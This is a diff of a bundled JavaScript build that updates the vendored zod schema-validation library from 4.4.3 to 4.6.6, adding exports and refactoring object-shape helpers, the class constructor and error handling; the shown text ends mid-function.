deepPartial: () => deepPartial, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -54846,6 +54856,7 @@ __export(external_exports, { formatError: () => formatError, fromJSONSchema: () => fromJSONSchema, function: () => _function, + getDiscriminatedOption: () => getDiscriminatedOption, getErrorMap: () => getErrorMap, globalRegistry: () => globalRegistry, gt: () => _gt, @@ -54855,7 +54866,9 @@ __export(external_exports, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, includes: () => _includes, + input: () => input, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -54882,6 +54895,7 @@ __export(external_exports, { map: () => map, maxLength: () => _maxLength, maxSize: () => _maxSize, + memoizer: () => memoizer, meta: () => meta2, mime: () => _mime, minLength: () => _minLength, @@ -54902,6 +54916,7 @@ __export(external_exports, { number: () => number2, object: () => object, optional: () => optional, + output: () => output, overwrite: () => _overwrite, parse: () => parse2, parseAsync: () => parseAsync2, @@ -54912,6 +54927,7 @@ __export(external_exports, { preprocess: () => preprocess, prettifyError: () => prettifyError, promise: () => promise, + properties: () => _properties, property: () => _property, readonly: () => readonly, record: () => record, @@ -54941,6 +54957,7 @@ __export(external_exports, { toJSONSchema: () => toJSONSchema, toLowerCase: () => _toLowerCase, toUpperCase: () => _toUpperCase, + toZod: () => toZod, transform: () => transform, treeifyError: () => treeifyError, trim: () => _trim, @@ -54958,12 +54975,15 @@ __export(external_exports, { uuidv4: () => uuidv4, uuidv6: () => uuidv6, uuidv7: () => uuidv7, + validate: () => validate, + validateAsync: () => validateAsync, void: () => _void2, + withParser: () => withParser, xid: () => xid2, xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/index.js var core_exports2 = {}; __export(core_exports2, { $ZodAny: () => $ZodAny, @@ -54995,6 +55015,7 @@ __export(core_exports2, { $ZodCheckMultipleOf: () => $ZodCheckMultipleOf, $ZodCheckNumberFormat: () => $ZodCheckNumberFormat, $ZodCheckOverwrite: () => $ZodCheckOverwrite, + $ZodCheckProperties: () => $ZodCheckProperties, $ZodCheckProperty: () => $ZodCheckProperty, $ZodCheckRegex: () => $ZodCheckRegex, $ZodCheckSizeEquals: () => $ZodCheckSizeEquals, @@ -55002,8 +55023,10 @@ __export(core_exports2, { $ZodCheckStringFormat: () => $ZodCheckStringFormat, $ZodCheckUpperCase: () => $ZodCheckUpperCase, $ZodCodec: () => $ZodCodec, + $ZodCreditCard: () => $ZodCreditCard, $ZodCustom: () => $ZodCustom, $ZodCustomStringFormat: () => $ZodCustomStringFormat, + $ZodCyclicError: () => $ZodCyclicError, $ZodDate: () => $ZodDate, $ZodDefault: () => $ZodDefault, $ZodDiscriminatedUnion: () => $ZodDiscriminatedUnion, @@ -55017,6 +55040,7 @@ __export(core_exports2, { $ZodFile: () => $ZodFile, $ZodFunction: () => $ZodFunction, $ZodGUID: () => $ZodGUID, + $ZodIBAN: () => $ZodIBAN, $ZodIPv4: () => $ZodIPv4, $ZodIPv6: () => $ZodIPv6, $ZodISODate: () => $ZodISODate, @@ -55072,10 +55096,15 @@ __export(core_exports2, { $input: () => $input, $output: () => $output, Doc: () => Doc, + INVALID: () => INVALID, JSONSchema: () => json_schema_exports, JSONSchemaGenerator: () => JSONSchemaGenerator, NEVER: () => NEVER, TimePrecision: () => TimePrecision, + URL_BAD_FORMAT: () => URL_BAD_FORMAT, + URL_UNPARSEABLE: () => URL_UNPARSEABLE, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, _any: () => _any, _array: () => _array, _base64: () => _base64, @@ -55091,6 +55120,7 @@ __export(core_exports2, { _coercedDate: () => _coercedDate, _coercedNumber: () => _coercedNumber, _coercedString: () => _coercedString, + _creditCard: () => _creditCard, _cuid: () => _cuid, _cuid2: () => _cuid2, _custom: () => _custom, @@ -55112,6 +55142,7 @@ __export(core_exports2, { _gt: () => _gt, _gte: () => _gte, _guid: () => _guid, + _iban: () => _iban, _includes: () => _includes, _int: () => _int, _int32: () => _int32, @@ -55160,6 +55191,7 @@ __export(core_exports2, { _pipe: () => _pipe, _positive: () => _positive, _promise: () => _promise, + _properties: () => _properties, _property: () => _property, _readonly: () => _readonly, _record: () => _record, @@ -55202,7 +55234,12 @@ __export(core_exports2, { _void: () => _void, _xid: () => _xid, _xor: () => _xor, + base64Charset: () => base64Charset, + base64urlCharset: () => base64urlCharset, + canParseURL: () => canParseURL, clone: () => clone, + compile: () => compile, + compileFn: () => compileFn, config: () => config, createStandardJSONSchemaMethod: () => createStandardJSONSchemaMethod, createToJSONSchemaMethod: () => createToJSONSchemaMethod, @@ -55215,18 +55252,30 @@ __export(core_exports2, { finalize: () => finalize, flattenError: () => flattenError, formatError: () => formatError, + getDiscriminatedOption: () => getDiscriminatedOption, globalConfig: () => globalConfig, globalRegistry: () => globalRegistry, + handleUnrepresentable: () => handleUnrepresentable, initializeContext: () => initializeContext, + isBackEdge: () => isBackEdge, + isRecursiveSchema: () => isRecursiveSchema, isValidBase64: () => isValidBase64, isValidBase64URL: () => isValidBase64URL, + isValidCIDRv6: () => isValidCIDRv6, + isValidCreditCard: () => isValidCreditCard, + isValidIBAN: () => isValidIBAN, + isValidIPv6: () => isValidIPv6, isValidJWT: () => isValidJWT, locales: () => locales_exports, + memoizer: () => memoizer, + mergeValues: () => mergeValues, meta: () => meta, parse: () => parse, parseAsync: () => parseAsync, + parseURLObject: () => parseURLObject, prettifyError: () => prettifyError, - process: () => process2, + process: () => processSchema, + processSchema: () => processSchema, regexes: () => regexes_exports, registry: () => registry, safeDecode: () => safeDecode, @@ -55235,94 +55284,27 @@ __export(core_exports2, { safeEncodeAsync: () => safeEncodeAsync, safeParse: () => safeParse, safeParseAsync: () => safeParseAsync, + standardProps: () => standardProps, + stripTabAndNewline: () => stripTabAndNewline, toDotPath: () => toDotPath, toJSONSchema: () => toJSONSchema, + toZod: () => toZod, treeifyError: () => treeifyError, + urlHostnameOk: () => urlHostnameOk, + urlProtocolOk: () => urlProtocolOk, util: () => util_exports, - version: () => version + validate: () => validate, + validateAsync: () => validateAsync, + validateURL: () => validateURL, + version: () => version, + withParser: () => withParser }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js -var _a; -var NEVER = /* @__PURE__ */ Object.freeze({ - status: "aborted" -}); -// @__NO_SIDE_EFFECTS__ -function $constructor(name, initializer3, params) { - function init(inst, def) { - if (!inst._zod) { - Object.defineProperty(inst, "_zod", { - value: { - def, - constr: _, - traits: /* @__PURE__ */ new Set() - }, - enumerable: false - }); - } - if (inst._zod.traits.has(name)) { - return; - } - inst._zod.traits.add(name); - initializer3(inst, def); - const proto = _.prototype; - const keys = Object.keys(proto); - for (let i = 0; i < keys.length; i++) { - const k = keys[i]; - if (!(k in inst)) { - inst[k] = proto[k].bind(inst); - } - } - } - const Parent = params?.Parent ?? Object; - class Definition extends Parent { - } - Object.defineProperty(Definition, "name", { value: name }); - function _(def) { - var _a3; - const inst = params?.Parent ? new Definition() : this; - init(inst, def); - (_a3 = inst._zod).deferred ?? (_a3.deferred = []); - for (const fn of inst._zod.deferred) { - fn(); - } - return inst; - } - Object.defineProperty(_, "init", { value: init }); - Object.defineProperty(_, Symbol.hasInstance, { - value: (inst) => { - if (params?.Parent && inst instanceof params.Parent) - return true; - return inst?._zod?.traits?.has(name); - } - }); - Object.defineProperty(_, "name", { value: name }); - return _; -} -var $brand = Symbol("zod_brand"); -var $ZodAsyncError = class extends Error { - constructor() { - super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); - } -}; -var $ZodEncodeError = class extends Error { - constructor(name) { - super(`Encountered unidirectional transform during encode: ${name}`); - this.name = "ZodEncodeError"; - } -}; -(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); -var globalConfig = globalThis.__zod_globalConfig; -function config(newConfig) { - if (newConfig) - Object.assign(globalConfig, newConfig); - return globalConfig; -} - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/util.js var util_exports = {}; __export(util_exports, { BIGINT_FORMAT_RANGES: () => BIGINT_FORMAT_RANGES, + CONSTANT_CATCH: () => CONSTANT_CATCH, Class: () => Class, NUMBER_FORMAT_RANGES: () => NUMBER_FORMAT_RANGES, aborted: () => aborted, @@ -55333,6 +55315,7 @@ __export(util_exports, { assertNever: () => assertNever, assertNotEqual: () => assertNotEqual, assignProp: () => assignProp, + attachSchema: () => attachSchema, base64ToUint8Array: () => base64ToUint8Array, base64urlToUint8Array: () => base64urlToUint8Array, cached: () => cached, @@ -55341,8 +55324,12 @@ __export(util_exports, { cleanRegex: () => cleanRegex, clone: () => clone, cloneDef: () => cloneDef, + codePointLength: () => codePointLength, + constantCatch: () => constantCatch, createTransparentProxy: () => createTransparentProxy, defineLazy: () => defineLazy, + defineLazyInternal: () => defineLazyInternal, + derived: () => derived, esc: () => esc, escapeRegex: () => escapeRegex, explicitlyAborted: () => explicitlyAborted, @@ -55355,11 +55342,14 @@ __export(util_exports, { getParsedType: () => getParsedType, getSizableOrigin: () => getSizableOrigin, hexToUint8Array: () => hexToUint8Array, + hide: () => hide, + installLazyProp: () => installLazyProp, isObject: () => isObject2, isPlainObject: () => isPlainObject, issue: () => issue, joinValues: () => joinValues, jsonStringifyReplacer: () => jsonStringifyReplacer, + members: () => members, merge: () => merge, mergeDefs: () => mergeDefs, normalizeParams: () => normalizeParams, @@ -55368,6 +55358,7 @@ __export(util_exports, { objectClone: () => objectClone, omit: () => omit, optionalKeys: () => optionalKeys, + own: () => own, parsedType: () => parsedType, partial: () => partial, pick: () => pick, @@ -55376,11 +55367,14 @@ __export(util_exports, { promiseAllObject: () => promiseAllObject, propertyKeyTypes: () => propertyKeyTypes, randomString: () => randomString, + rawShape: () => rawShape, required: () => required, safeExtend: () => safeExtend, shallowClone: () => shallowClone, + sizeCaps: () => sizeCaps, slugify: () => slugify, stringifyPrimitive: () => stringifyPrimitive, + toZod: () => toZod, uint8ArrayToBase64: () => uint8ArrayToBase64, uint8ArrayToBase64url: () => uint8ArrayToBase64url, uint8ArrayToHex: () => uint8ArrayToHex, @@ -55392,6 +55386,9 @@ function assertEqual(val) { function assertNotEqual(val) { return val; } +function toZod() { + return (schema) => schema; +} function assertIs(_arg) { } function assertNever(_x) { @@ -55412,21 +55409,25 @@ function jsonStringifyReplacer(_, value) { return value.toString(); return value; } -function cached(getter) { - const set2 = false; - return { - get value() { - if (!set2) { - const value = getter(); - Object.defineProperty(this, "value", { value }); - return value; - } - throw new Error("cached value already set"); +var Cached = class { + constructor(getter) { + this._getter = getter; + this._value = void 0; + } + get value() { + const getter = this._getter; + if (getter !== void 0) { + this._value = getter(); + this._getter = void 0; } - }; + return this._value; + } +}; +function cached(getter) { + return new Cached(getter); } -function nullish(input) { - return input === null || input === void 0; +function nullish(input2) { + return input2 === null || input2 === void 0; } function cleanRegex(source) { const start = source.startsWith("^") ? 1 : 0; @@ -55436,7 +55437,7 @@ function cleanRegex(source) { function floatSafeRemainder(val, step) { const ratio = val / step; const roundedRatio = Math.round(ratio); - const tolerance = Number.EPSILON * Math.max(Math.abs(ratio), 1); + const tolerance = 4 * Number.EPSILON * Math.max(Math.abs(ratio), 1); if (Math.abs(ratio - roundedRatio) < tolerance) return 0; return ratio - roundedRatio; @@ -55475,6 +55476,56 @@ function assignProp(target, prop, value) { configurable: true }); } +function rawShape(def) { + const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); + return desc2?.get ? desc2.get.raw : desc2?.value; +} +function sourceShape(schema) { + return rawShape(schema._zod.def) ?? schema._zod.def.shape; +} +function deferProp(target, key, getter) { + Object.defineProperty(target, key, { + get() { + const value = getter(); + assignProp(this, key, value); + return value; + }, + enumerable: true, + configurable: true + }); +} +function putProp(target, key, value) { + if (key in target) + assignProp(target, key, value); + else + target[key] = value; +} +function mirrorShape(target, source, keys, wrap) { + const raw = sourceShape(source); + for (const key of keys) { + const desc2 = Object.getOwnPropertyDescriptor(raw, key); + if (!desc2.enumerable) + continue; + if (desc2.get) { + deferProp(target, key, () => { + const value = source._zod.def.shape[key]; + return wrap ? wrap(value, key) : value; + }); + } else + putProp(target, key, wrap ? wrap(desc2.value, key) : desc2.value); + } +} +function mirrorProps(target, source) { + for (const key of Reflect.ownKeys(source)) { + const desc2 = Object.getOwnPropertyDescriptor(source, key); + if (!desc2.enumerable) + continue; + if (desc2.get) + deferProp(target, key, () => source[key]); + else + putProp(target, key, desc2.value); + } +} function mergeDefs(...defs) { const mergedDescriptors = {}; for (const def of defs) { @@ -55513,8 +55564,8 @@ function randomString(length = 10) { function esc(str) { return JSON.stringify(str); } -function slugify(input) { - return input.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); +function slugify(input2) { + return input2.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); } var captureStackTrace = "captureStackTrace" in Error ? Error.captureStackTrace : (..._args) => { }; @@ -55692,16 +55743,16 @@ function stringifyPrimitive(value) { } function optionalKeys(shape) { return Object.keys(shape).filter((k) => { - return shape[k]._zod.optin === "optional" && shape[k]._zod.optout === "optional"; + return shape[k]._zod.optin !== void 0 && shape[k]._zod.optout === "optional"; }); } -var NUMBER_FORMAT_RANGES = { +var NUMBER_FORMAT_RANGES = /* @__PURE__ */ (() => ({ safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER], int32: [-2147483648, 2147483647], uint32: [0, 4294967295], float32: [-34028234663852886e22, 34028234663852886e22], float64: [-Number.MAX_VALUE, Number.MAX_VALUE] -}; +}))(); var BIGINT_FORMAT_RANGES = { int64: [/* @__PURE__ */ BigInt("-9223372036854775808"), /* @__PURE__ */ BigInt("9223372036854775807")], uint64: [/* @__PURE__ */ BigInt(0), /* @__PURE__ */ BigInt("18446744073709551615")] @@ -55713,23 +55764,21 @@ function pick(schema, mask) { if (hasChecks) { throw new Error(".pick() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = {}; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - newShape[key] = currDef.shape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const newShape = {}; + mirrorShape(newShape, schema, maskedKeys(schema, mask)); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); +} +function maskedKeys(schema, mask) { + const raw = sourceShape(schema); + const keys = []; + for (const key of Reflect.ownKeys(mask)) { + if (!Object.getOwnPropertyDescriptor(raw, key)?.enumerable) { + throw new Error(`Unrecognized key: "${String(key)}"`); + } + if (mask[key]) + keys.push(key); + } + return keys; } function omit(schema, mask) { const currDef = schema._zod.def; @@ -55738,23 +55787,10 @@ function omit(schema, mask) { if (hasChecks) { throw new Error(".omit() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = { ...schema._zod.def.shape }; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - delete newShape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const omitted = new Set(maskedKeys(schema, mask)); + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)).filter((key) => !omitted.has(key))); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); } function extend(schema, shape) { if (!isPlainObject(shape)) { @@ -55763,45 +55799,39 @@ function extend(schema, shape) { const checks = schema._zod.def.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - const existingShape = schema._zod.def.shape; - for (const key in shape) { + const existingShape = sourceShape(schema); + for (const key of Reflect.ownKeys(shape)) { if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) { throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead."); } } } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); +} +function extended(schema, shape) { + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema))); + mirrorProps(newShape, shape); + return newShape; } function safeExtend(schema, shape) { if (!isPlainObject(shape)) { throw new Error("Invalid input to safeExtend: expected a plain object"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); } function merge(a, b2) { + if (!b2?._zod?.def) { + throw new Error("Invalid input to merge: expected an object schema. To merge a plain shape, use `.extend()`."); + } if (a._zod.def.checks?.length) { throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead."); } + const newShape = {}; + mirrorShape(newShape, a, Reflect.ownKeys(sourceShape(a))); + mirrorShape(newShape, b2, Reflect.ownKeys(sourceShape(b2))); const def = mergeDefs(a._zod.def, { - get shape() { - const _shape = { ...a._zod.def.shape, ...b2._zod.def.shape }; - assignProp(this, "shape", _shape); - return _shape; - }, + shape: newShape, get catchall() { return b2._zod.def.catchall; }, @@ -55809,74 +55839,26 @@ function merge(a, b2) { }); return clone(a, def); } -function partial(Class2, schema, mask) { +function partial(Class2, schema, mask, name = "partial") { const currDef = schema._zod.def; const checks = currDef.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - throw new Error(".partial() cannot be used on object schemas containing refinements"); - } - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in oldShape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } else { - for (const key in oldShape) { - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } - assignProp(this, "shape", shape); - return shape; - }, - checks: [] - }); - return clone(schema, def); + throw new Error(`.${name}() cannot be used on object schemas containing refinements`); + } + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), Class2 && ((value, key) => selected && !selected.has(key) ? value : new Class2({ type: "optional", innerType: value }))); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape, checks: [] })); } function required(Class2, schema, mask) { - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } else { - for (const key in oldShape) { - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } - assignProp(this, "shape", shape); - return shape; - } - }); - return clone(schema, def); + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), (value, key) => ( + // overwrite with non-optional + selected && !selected.has(key) ? value : new Class2({ type: "nonoptional", innerType: value }) + )); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape })); } function aborted(x, startIndex = 0) { if (x.aborted === true) @@ -55909,29 +55891,75 @@ function prefixIssues(path, issues) { function unwrapMessage(message2) { return typeof message2 === "string" ? message2 : message2?.message; } +function sizeCaps(defChecks) { + const caps = []; + for (const ch of defChecks ?? []) { + const d = ch._zod.def; + if (!/_(length|size)$|_equals$/.test(d.check)) + break; + const max = d.maximum ?? d.length ?? d.size; + if (max >= 0) + caps.push([max, ch]); + } + return caps; +} +function attachSchema(issues, start, inst) { + var _a3; + for (let i = start; i < issues.length; i++) { + (_a3 = issues[i]).schema ?? (_a3.schema = inst); + } +} function finalizeIssue(iss, ctx, config2) { - const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; - const { inst: _inst, continue: _continue, input: _input, ...rest } = iss; - rest.path ?? (rest.path = []); - rest.message = message2; + var _a3; + const traits = iss.inst?._zod?.traits; + if (traits?.has("$ZodType")) { + if (traits.has("$ZodCheck")) + (_a3 = iss).schema ?? (_a3.schema = iss.inst); + else + iss.schema = iss.inst; + } + const schemaError = iss.schema !== iss.inst ? iss.schema?._zod.def?.error : void 0; + const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(schemaError?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; + const full = {}; + for (const k of Object.keys(iss)) { + if (k === "inst" || k === "schema" || k === "continue" || k === "input" || k === "__proto__") + continue; + full[k] = iss[k]; + } + full.path ?? (full.path = []); + full.message = message2; if (ctx?.reportInput) { - rest.input = _input; + full.input = iss.input; } - return rest; + return full; } -function getSizableOrigin(input) { - if (input instanceof Set) +function getSizableOrigin(input2) { + if (input2 instanceof Set) return "set"; - if (input instanceof Map) + if (input2 instanceof Map) return "map"; - if (input instanceof File) + if (input2 instanceof File) return "file"; return "unknown"; } -function getLengthableOrigin(input) { - if (Array.isArray(input)) +var highSurrogate = /[\uD800-\uDBFF]/; +function codePointLength(str) { + const units = str.length; + if (!highSurrogate.test(str)) + return units; + let count = units; + for (let i = 0; i < units - 1; i++) { + if ((str.charCodeAt(i) & 64512) === 55296 && (str.charCodeAt(i + 1) & 64512) === 56320) { + count--; + i++; + } + } + return count; +} +function getLengthableOrigin(input2) { + if (Array.isArray(input2)) return "array"; - if (typeof input === "string") + if (typeof input2 === "string") return "string"; return "unknown"; } @@ -55957,12 +55985,12 @@ function parsedType(data) { return t; } function issue(...args) { - const [iss, input, inst] = args; + const [iss, input2, inst] = args; if (typeof iss === "string") { return { message: iss, code: "custom", - input, + input: input2, inst }; } @@ -56014,43 +56042,312 @@ var Class = class { constructor(..._args) { } }; - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js -var initializer = (inst, def) => { - inst.name = "$ZodError"; - Object.defineProperty(inst, "_zod", { - value: inst._zod, - enumerable: false +function members(proto, table2) { + for (const key in table2) { + const desc2 = Object.getOwnPropertyDescriptor(table2, key); + if (desc2.get) + Object.defineProperty(proto, key, { ...desc2, enumerable: false }); + else + defineBound(proto, key, desc2.value); + } +} +function own(inst, key, value, enumerable = true) { + Object.defineProperty(inst, key, { configurable: true, writable: true, enumerable, value }); + return value; +} +function hide(inst, key, value) { + return own(inst, key, value, false); +} +// @__NO_SIDE_EFFECTS__ +function derived(computes, table2) { + for (const key in computes) { + const compute = computes[key]; + Object.defineProperty(table2, key, { + configurable: true, + enumerable: true, + get() { + return own(this, key, compute(this)); + }, + set(value) { + own(this, key, value); + } + }); + } + return table2; +} +function defineBound(proto, key, fn) { + Object.defineProperty(proto, key, { + configurable: true, + get() { + return this == null ? fn : own(this, key, fn.bind(this)); + }, + set(value) { + own(this, key, value); + } }); - Object.defineProperty(inst, "issues", { - value: def, - enumerable: false +} +function claim(inst, sentinel) { + const proto = Object.getPrototypeOf(inst); + return sentinel in proto ? void 0 : proto; +} +var installing; +var broke = false; +var breaker = { + configurable: true, + get() { + broke = true; + return void 0; + } +}; +function defineLazyInternal(inst, key, compute) { + const proto = Object.getPrototypeOf(inst._zod); + if (key in proto && installing !== inst._zod) { + installing = void 0; + return; + } + installing = inst._zod; + Object.defineProperty(proto, key, { + configurable: true, + get() { + Object.defineProperty(this, key, breaker); + const outer = broke; + broke = false; + try { + const value = compute(this); + if (broke) + delete this[key]; + else + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + broke = broke || outer; + return value; + } catch (err) { + delete this[key]; + broke = broke || outer; + throw err; + } + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + } }); - inst.message = JSON.stringify(def, jsonStringifyReplacer, 2); - Object.defineProperty(inst, "toString", { - value: () => inst.message, - enumerable: false +} +function installLazyProp(inst, key, make, enumerable) { + const proto = claim(inst, key); + if (!proto) + return; + Object.defineProperty(proto, key, { + configurable: true, + get() { + const desc2 = { configurable: true, writable: true, enumerable, value: void 0 }; + Object.defineProperty(this, key, desc2); + desc2.value = make(this); + Object.defineProperty(this, key, desc2); + return desc2.value; + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, enumerable, value }); + } }); +} +var CONSTANT_CATCH = "~constantCatch"; +function constantCatch(value) { + const fn = () => value; + fn[CONSTANT_CATCH] = true; + return fn; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/core.js +var _a; +var NEVER = /* @__PURE__ */ Object.freeze({ + status: "aborted" +}); +var _zodDesc = { value: void 0, enumerable: false }; +var _E = "captureStackTrace" in Error ? Error : null; +function newError(Definition) { + const E = _E; + if (E) { + const saved = E.stackTraceLimit; + if (typeof saved === "number") { + try { + E.stackTraceLimit = 0; + } catch { + _E = null; + return new Definition(); + } + try { + return new Definition(); + } finally { + E.stackTraceLimit = saved; + } + } + } + return new Definition(); +} +// @__NO_SIDE_EFFECTS__ +function $constructor(name, initializer3, proto, params) { + const zodProto = {}; + function Internals(def) { + this.def = def; + this.constr = _; + this.traits = /* @__PURE__ */ new Set(); + } + Internals.prototype = zodProto; + const protoMembers = proto; + const initialized = protoMembers && /* @__PURE__ */ new WeakSet(); + function init(inst, def) { + if (!inst._zod) { + _zodDesc.value = new Internals(def); + try { + Object.defineProperty(inst, "_zod", _zodDesc); + } finally { + _zodDesc.value = void 0; + } + } else if (inst._zod.traits.has(name)) { + return; + } + inst._zod.traits.add(name); + initializer3(inst, def); + if (initialized) { + const own2 = Object.getPrototypeOf(inst); + const ctorProto = inst._zod.constr.prototype; + let up = own2; + while (up && up !== ctorProto) + up = Object.getPrototypeOf(up); + const target = up ?? own2; + if (!initialized.has(target)) { + initialized.add(target); + members(target, protoMembers); + } + } + const proto2 = _.prototype; + for (const k in proto2) { + if (!Object.prototype.hasOwnProperty.call(proto2, k)) + continue; + if (!(k in inst)) { + inst[k] = proto2[k].bind(inst); + } + } + } + const Parent = params?.Parent ?? Object; + class Definition extends Parent { + } + Object.defineProperty(Definition, "name", { value: name }); + function _(def) { + const inst = params?.Parent ? newError(Definition) : this; + init(inst, def); + const deferred = inst._zod.deferred; + if (deferred) { + for (const fn of deferred) { + fn(); + } + inst._zod.deferred = void 0; + } + const pp = globalThis.__zod_globalConfig?.postProcessor; + if (pp) + pp(inst); + return inst; + } + Object.defineProperty(_, "init", { value: init }); + Object.defineProperty(_, Symbol.hasInstance, { + value: (inst) => { + if (params?.Parent && inst instanceof params.Parent) + return true; + return inst?._zod?.traits?.has(name); + } + }); + Object.defineProperty(_, "name", { value: name }); + return _; +} +var $brand = /* @__PURE__ */ Symbol("zod_brand"); +var $ZodAsyncError = class extends Error { + constructor() { + super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); + } +}; +var $ZodEncodeError = class extends Error { + constructor(name) { + super(`Encountered unidirectional transform during encode: ${name}`); + this.name = "ZodEncodeError"; + } +}; +(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); +var globalConfig = globalThis.__zod_globalConfig; +function config(newConfig) { + if (newConfig) + Object.assign(globalConfig, newConfig); + return globalConfig; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/errors.js +function _getMessage() { + const internals = this._zod; + internals.message ?? (internals.message = JSON.stringify(internals.def, jsonStringifyReplacer, 2)); + return internals.message; +} +function _setMessage(value) { + this._zod.message = value; +} +var _messageDesc = { + get: _getMessage, + set: _setMessage, + enumerable: true, + configurable: true +}; +var _issuesDesc = { value: void 0, enumerable: false }; +var _installedToString = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +var initializer = (inst, def) => { + inst.name = "$ZodError"; + _issuesDesc.value = def; + Object.defineProperty(inst, "issues", _issuesDesc); + _issuesDesc.value = void 0; + Object.defineProperty(inst, "message", _messageDesc); + const proto = Object.getPrototypeOf(inst); + if (!_installedToString.has(proto)) { + _installedToString.add(proto); + Object.defineProperty(proto, "toString", { + configurable: true, + enumerable: false, + get() { + const value = () => this.message; + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + } + }); + } }; var $ZodError = $constructor("$ZodError", initializer); -var $ZodRealError = $constructor("$ZodError", initializer, { Parent: Error }); -function flattenError(error51, mapper = (issue2) => issue2.message) { +var $ZodRealError = $constructor("$ZodError", initializer, void 0, { + Parent: Error +}); +function node(obj, key, make) { + if (!Object.prototype.hasOwnProperty.call(obj, key)) { + if (key === "__proto__") { + Object.defineProperty(obj, key, { value: make(), writable: true, enumerable: true, configurable: true }); + } else { + obj[key] = make(); + } + } + return obj[key]; +} +function flattenError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = {}; const formErrors = []; - for (const sub of error51.issues) { + for (const sub of error62.issues) { if (sub.path.length > 0) { - 